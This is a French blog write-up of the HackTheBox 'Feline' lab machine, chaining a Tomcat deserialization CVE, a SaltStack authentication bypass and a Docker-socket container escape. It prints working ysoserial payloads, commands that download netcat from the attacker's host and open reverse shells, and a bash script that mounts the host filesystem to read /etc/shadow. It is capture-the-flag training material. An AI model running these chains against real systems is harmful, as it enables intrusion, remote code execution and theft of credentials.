03 Sep

HTB – Feline- Write-up16 min de lecture

Préambule

Pour cette nouvelle machine virtuelle j’ai utilisé l’interface web Pwnbox du site HackTheBox qui est basée sur la distribution Parrot Security, elle-même basée sur Debian :

Cette fonctionnalité est uniquement accessible aux utilisateurs du plan « VIP ». Elle est très pratique et bien pensée : choix de la localisation du serveur, fonctionne avec un simple navigateur et/ou accès SSH, accès spectateur…etc

Seul hic : on à le droit à seulement 24H par mois… et cela file vite !!

Mais avec le nouveau plan VIP+, plus de limite !

J’ai également utilisé pour l’occasion l’un de mes scripts spécifiquement adapté pour celle-ci afin d’améliorer le temps de reconnaissance initiale :

https://github.com/choupit0/MassVulScan4HTB

Moins de 5 minutes pour installer le script et scanner les 131070 ports TCP+UDP et identifier les éventuelles vulnérabilités associées, auto-promotion 😉

Ce pas à pas sera « un peu » plus long et détaillé que les derniers.

Introduction

Cette fois on s’attaque à une machine virtuelle de niveau « Hard » mais qui n’est pas insurmontable. Elle permet, là encore, de s’attaquer à de récentes vulnérabilités découvertes, et permet d’aborder différents aspects côté réseau, système et applicatif. Très complète et intéressante dans le cheminement.

Voici les grandes phases et technologies abordées :

  1. Identification du CVE concernant Apache Tomcat
  2. Exploitation par désérialisation d’objets
  3. Identification d’un second CVE pour SaltStack (gestion de configuration)
  4. Exploitation par « authentication bypass » via redirection de port SSH
  5. Elévation des privilèges via un container Docker

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.205
  • Nom de la VM = feline.htb

On met à jour notre fichier /etc/hosts avec ces informations :

sudo vi /etc/hosts
127.0.1.1 htb-qdiohu4t2o.htb-cloud.com htb-qdiohu4t2o
127.0.0.1 localhost
10.10.10.205 feline.htb

Phase de reconnaissance

J’installe et je lance mon script MassVulScan4HTB.sh :

Seulement deux services ouverts : SSH et HTTP avec 9 potentielles failles identifiées pour le dernier :

Avant d’explorer les différentes failles à la recherche d’un RCE, voyons à quoi ressemble la page web. Nous avons deux sites dédiés à l’analyse de virus :

http://feline.htb:8080/
http://feline.htb:8080/service/

Phase d’énumération 1/3

Le champ email semble accepter n’importe quoi (email ou pas), par contre tous les formats de fichiers ne semblent pas supportés. Ici à gauche une image PNG bloquée et à droite un script Perl qui passe :

Nous allons regarder un peu plus en détails les requêtes avec Burp Suite. Il suffit de lancer l’application et de paramétrer Firefox pour pointer dessus.

Nous allons intercepter une requête qui fonctionne (fichier autorisé) et l’analyser (« Intercept On » puis « Action » -> « Send to Repeater ») :

Maintenant, que se passe-t-il si on supprime le nom du fichier par exemple (filename= » » puis « Send ») ? Réponse :

On récupère une erreur Java intéressante. En effet, on a le chemin complet où les fichiers sont téléversés : /opt/samples/uploads

Avec un fichier interdit (PNG), on obtient autre erreur Java et un autre chemin :

Chemin récupéré mais avec un « Permission denied », rien d’intéressant :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000066.tmp

Je note juste que si on essaye de renvoyer à nouveau le fichier on voit que le nom de fichier s’incrémente de 1 à chaque fois :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000067.tmp

Je ne trouve rien de probant à ce stade, et je ne trouve rien de plus avec wfuzz ou dirsearch au niveau des répertoires et fichiers. Pas d’injection type SQL non plus.

Je prends donc le temps de regarder les vulnérabilités identifiées plus tôt et l’une d’elle semble intéressante. Elle appropriée à la situation et à la version d’Apache Tomcat : https://vulners.com/cve/CVE-2020-9484

L’une des références citée concerne celle de l’auteur : http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html

Nous avons plus de détails sur son site qui confirme la présence d’un RCE : https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/

Globalement, si le serveur est configuré avec les modes « PersistentManager » et « FileStore« , les sessions permutées/inactives sont enregistrées sur disque. Dans ce cas, la faille est exploitable.

Pour vérifier si nous sommes concernés par cette vulnérabilité, nous avons besoin de 3 choses principales :

  1. Pouvoir générer un objet sérialisé :
  2. Pouvoir envoyer le fichier sur le serveur :
    • Nous l’avons avec le site /service
  3. Connaître l’emplacement des fichiers envoyés :
    • Nous le connaissons /opt/samples/uploads

C’est lors de la phase de désérialisation que le code malvaillant est executé même si nous obtenons une erreur HTTP 500 par la suite (pas de session correspondante).

Pour plus de détails sur la sérialisation/désérialisation d’objets et son exploitation, je vous conseille ce PDF (anglais) : https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf

Sinon, en gros, la sérialisation consiste à transformer des données informatiques en informations plus petites pour être transmises par le réseau. La désérialisation effectue la démarche inverse afin de retrouver les données initiales, à l’identique.

Phase d’exploitation 1/3 (Apache Tomcat)

Installer et utiliser ysoserial

Etapes à suivre pour l’installation de yoserial :

git clone https://github.com/frohoff/ysoserial
cd ysoserial/
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

On génère ensuite notre payload (objet sérialisé) comme ceci avec le payload le plus « commun », le numéro 2 (le 1 n’a pas fonctionné) et avec l’extension « .session » :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/fakefile" > rce.session

Dans un shell je lance un serveur HTTP en écoute sur port 8888 :

python -m SimpleHTTPServer 8888

Pour appeler notre code nous devrons utiliser http://feline.htb et modifier le cookie « JSESSIONID » comme suit (comme indiqué dans l’article) sans l’extension :

JSESSIONID=../../../../../opt/samples/uploads/rce

Le reste en vidéo de démonstration :

Ca fonctionne ! On a bien une connexion sur notre instance depuis le serveur :

Reverse shell via Apache Tomcat

Maintenant que nous avons un PoC fonctionnel, nous allons pouvoir obtenir un shell inversé. Nous procéderons en trois étapes :

  1. Téléverser l’outil netcat sur le serveur
  2. Le rendre executable
  3. Lancer un shell inversé

Je procède ainsi car je n’ai pas réussi à obtenir un shell directement avec les commandes traditionnelles (https://gtfobins.github.io/#+reverse%20shell).

Mes trois payloads générés :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/netcat -O /tmp/netcat" > step1.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "chmod +x /tmp/netcat" > step2.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "/tmp/netcat -e /bin/sh 10.10.14.50 1337" > step3.session

Pour netcat, j’utilise la version présente sur l’OS et je lance mon serveur HTTP :

which netcat
/usr/bin/netcat
cp /usr/bin/netcat .
python -m SimpleHTTPServer 8888

Dans un autre Terminal je lance un listener :

nc -nlvp 1337

On transfère nos 3 fichiers de la même manière que pour PoC et on obtient enfin un (premier) shell inversé depuis le serveur :

On élève notre simple shell inversé vers un shell interactif complet :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Et nous trouvons le flag utilisateur :

Phase d’énumération 2/3

Rapidement je regarde côté réseau ce que l’on a et je vois deux ports intéressants en écoute, TCP 4505 et 4506 :

netstat -laputen | grep -i listen

Une rapide recherche sur Internet nous indique qu’il s’agit d’un gestionnaire de configuration nommé SaltStack, comme Puppet.

On découvre également qu’il existe une faille de sécurité de type « authentication bypass », CVE-2020-11651 : https://www.immersivelabs.com/resources/blog/hackers-are-currently-attacking-vulnerable-saltstack-systems/

Ne sachant pas si cette version est vulnérable ou pas, je décide de tester le PoC indiqué dans l’article : https://github.com/kevthehermit/CVE-2020-11651

Phase d’exploitation 2/3 (SaltStack)

SSH reverse remote port forwarding

L’application n’est pas exposée sur tous ses interfaces réseaux, elle n’est accessible que localement, par la loopback.

Je décide de télécharger le PoC sur le serveur et de le tester… mais ce serait trop facile ! Python3.8 est bien présent mais il manque des packages… et bien-sûr aucun droit pour les installer.

Plutôt que de perdre mon temps à chercher un moyen d’installer ce qu’il manque, je prends le choix d’exposer ce port à travers une connexion SSH :

ssh htb-choupit0@10.10.14.50 -R 127.0.0.1:4506:127.0.0.1:4506 -N

Nous aurions pu également utiliser Metasploit pour cela mais c’était un peu plus contraigant à faire (mais plus securisé).

PoC pour CVE-2020-*****

Maintenant nous pouvons donc utiliser notre script Python ditectement depuis notre instance Pwnbox, on voit ici la connexion SSH établie et le nouveau port 4506 en écoute :

Malheureusement pour nous, cela ne fonctionne pas… erreur « UnboundLocalError: local variable ‘root_key’ referenced before assignment« .

git clone https://github.com/kevthehermit/CVE-2020-11651
cd CVE-2020-11651
python3 -m pip install pyzmq
python3.8 poc.py -k 127.0.0.1

Reverse shell via SaltStak

Je n’abandonne pas et après quelques recherches, je trouve un autre PoC qui lui fonctionne : https://github.com/jasperla/CVE-2020-11651-poc/

git clone https://github.com/jasperla/CVE-2020-11651-poc
cd CVE-2020-11651-poc
pip3 install salt
python3.8 exploit.py
[+] Checking if vulnerable to CVE-2020-11651YES

Cool ! Il ne reste plus qu’à lancer notre second Reverse Shell avec une seule ligne de commande + un listener dans un autre Terminal :

python3.8 exploit.py --master localhost --exec "wget http://10.10.14.50:8888/netcat -O /tmp/netcat; chmod +x /tmp/netcat; /tmp/netcat -e /bin/sh 10.10.14.50 1338"
nc -nlvp 1338

Phase d’énumération 3/3

Docker Inside

On découvre donc que nous sommes root… mais d’un container, c’est déjà ca ! En regardant les dernières commandes tapées dans le fichier « .bash_history« , on découvre cette ligne de commande :

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

Cela indique que la machine qui héberge ce container communique par le bias de ce socket avec ce dernier. On vérifie qu’il est bien actif, c’est bien le cas :

ls -l /var/run/docker.sock

C’est un vecteur d’attaque, car depuis notre container nous pouvons également accéder aux données de l’hôte…

Ces articles en parle bien :

https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html

http://carnal0wnage.attackresearch.com/2019/02/abusing-docker-api-socket.html

Nous pouvons déjà obtenir la liste des container présents sur le serveur, il semble y en avoir 2 :

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

Phase d’exploitation 3/3 (Docker)

Comme PoC nous allons donc tenter de créer un nouveau container afin d’accéder au fichier des mots de passe sur l’hôte en root. Voici les étapes nécessaires :

  1. Créer un fichier JSON pour le container
  2. Créer notre container avec ce fichier
  3. Démarrer notre container
  4. Créer un fichier JSON pour l’execution de lecture
  5. Lancer l’execution de la commande

Nous allons utiliser un script Bash (docker_exploit.sh) pour que cela soit plus simple, voici son contenu :

#!/bin/bash
#
# Nouveau container avec un montage du systeme de fichiers hote
#
echo -e '{"Image":"sandbox", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' > container.json
# Creation du container
new_container=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create | cut -d'"' -f4)
# On demarre le container
curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/${new_container}/start
sleep 2
#
# Lecture d'un fichier de l'hote
#
echo -e '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' > read.json
# Creation de l'exec
read_file=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat read.json)" http://localhost/containers/${new_container}/exec | cut -d'"' -f4)
# Affichage du resultat
curl -s -o - -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{}' http://localhost/exec/${read_file}/start
rm -rf container.json read.json

Il suffit ensuite de l’envoyer sur le serveur et l’executer :

python -m SimpleHTTPServer 8888 (instance Pwnbox)
cd /tmp
wget http://10.10.14.50:8888/docker_exploit.sh
chmod +x docker_exploit.sh
./docker_exploit.sh

Ca fonctionne !!!

Il ne reste plus qu’à modifier notre script pour récupérer le flag root :

Conclusion

Jusqu’à présent c’est ma VM favorite sous Linux, on y apprend beaucoup de choses. Elle est très complète : technologies variées tout comme les failles exploitées, on touche au système, réseau et applicatif.

C’est pour ces raisons que j’ai pris du plaisir et du temps pour détailler ce write-up, j’espère que vous aussi !

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.